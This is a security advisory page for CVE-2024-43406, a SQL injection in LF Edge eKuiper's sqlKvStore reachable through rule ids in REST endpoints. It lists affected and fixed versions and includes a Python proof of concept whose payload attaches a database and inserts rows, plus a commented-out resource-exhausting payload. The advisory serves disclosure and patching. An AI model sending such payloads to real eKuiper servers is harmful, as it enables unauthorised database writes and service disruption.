CVE-2024-43406: LF Edge eKuiper has a SQL Injection in sqlKvStore
Summary A user could utilize and exploit SQL Injection to allow the execution of malicious SQL query via Get method in sqlKvStore. Details I will use explainRuleHandler ("/rules/{name}/explain") as an example to illustrate. However, this vulnerability also exists in other methods such as sourceManageHandler, asyncTaskCancelHandler, pluginHandler, etc.
Published Aug 20, 2024 · Updated Aug 27, 2024
Affected packages
github.com/lf-edge/ekuiper
- Ecosystem
- Go
- Affected
- < 1.14.2
- Fixed in
- 1.14.2
- Check
go list -m github.com/lf-edge/ekuiper
ekuiper
- Ecosystem
- PyPI
- Affected
- >= 0, < 1.14.2
- Fixed in
- 1.14.2
- Check
pip show ekuiper
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
A user could utilize and exploit SQL Injection to allow the execution of malicious SQL query via Get method in sqlKvStore.
Details
I will use explainRuleHandler ("/rules/{name}/explain") as an example to illustrate. However, this vulnerability also exists in other methods such as sourceManageHandler, asyncTaskCancelHandler, pluginHandler, etc.
The SQL injection can happen in the code: https://github.com/lf-edge/ekuiper/blob/d6457d008e129b1cdd54d76b5993992c349d1b80/internal/pkg/store/sql/sqlKv.go#L89-L93 The code to accept user input is: https://github.com/lf-edge/ekuiper/blob/d6457d008e129b1cdd54d76b5993992c349d1b80/internal/server/rest.go#L274-L277
The rule id in the above code can be used to exploit SQL query.
Note that the delete function is also vulnerable: https://github.com/lf-edge/ekuiper/blob/d6457d008e129b1cdd54d76b5993992c349d1b80/internal/pkg/store/sql/sqlKv.go#L138-L141
PoC
import requests
from urllib.parse import quote
# SELECT val FROM 'xxx' WHERE key='%s';
payload = f"""'; ATTACH DATABASE 'test93' AS test93;
CREATE TABLE test93.pwn (dataz text);
INSERT INTO test93.pwn (dataz) VALUES ("sql injection");--"""
#payload = "deadbeef'; SELECT 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(100000000))));--"
url = f"http://127.0.0.1:9081/rules/{quote(payload,safe='')}/explain" # explainRuleHandler
res = requests.get(url)
print(res.content)The screenshot shows the malicious SQL query to insert a value: image
The screenshot shows the breakpoint of executing the query: image
Impact
SQL Injection vulnerability
The reporters are Yuan Luo, Shuai Xiong, Haoyu Wang from Tencent YunDing Security Lab.
Credited to leonnewton.
References
- https://github.com/lf-edge/ekuiper/security/advisories/GHSA-r5ph-4jxm-6j9p
- https://nvd.nist.gov/vuln/detail/CVE-2024-43406
- https://github.com/lf-edge/ekuiper/commit/1a9c745649438feaac357d282959687012b65503
- https://github.com/pypa/advisory-database/tree/main/vulns/ekuiper/PYSEC-2024-72.yaml
- https://github.com/advisories/GHSA-r5ph-4jxm-6j9p
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Go vulnerabilities
All Go entriesCVE-2025-54379
eKuiper API endpoints handling SQL queries with user-controlled table names.
high8.9No fixJul 24, 2025GHSA-fv2p-qj5p-wqq4
LF Edge eKuiper vulnerable to File Path Traversal leading to file replacement
high8.5No fixJul 3, 2025GHSA-gj54-gwj9-x2c6
eKuiper /config/uploads API arbitrary file writing may lead to RCE
high7.3No fixJul 3, 2025CVE-2024-52290
LF Edge eKuiper Vulnerable to Stored XSS in Configuration Key Functionality
medium6.3No fixMay 14, 2025CVE-2024-52812
LF Edge eKuiper allows Stored XSS in Rules Functionality
medium5.4No fixMar 10, 2025
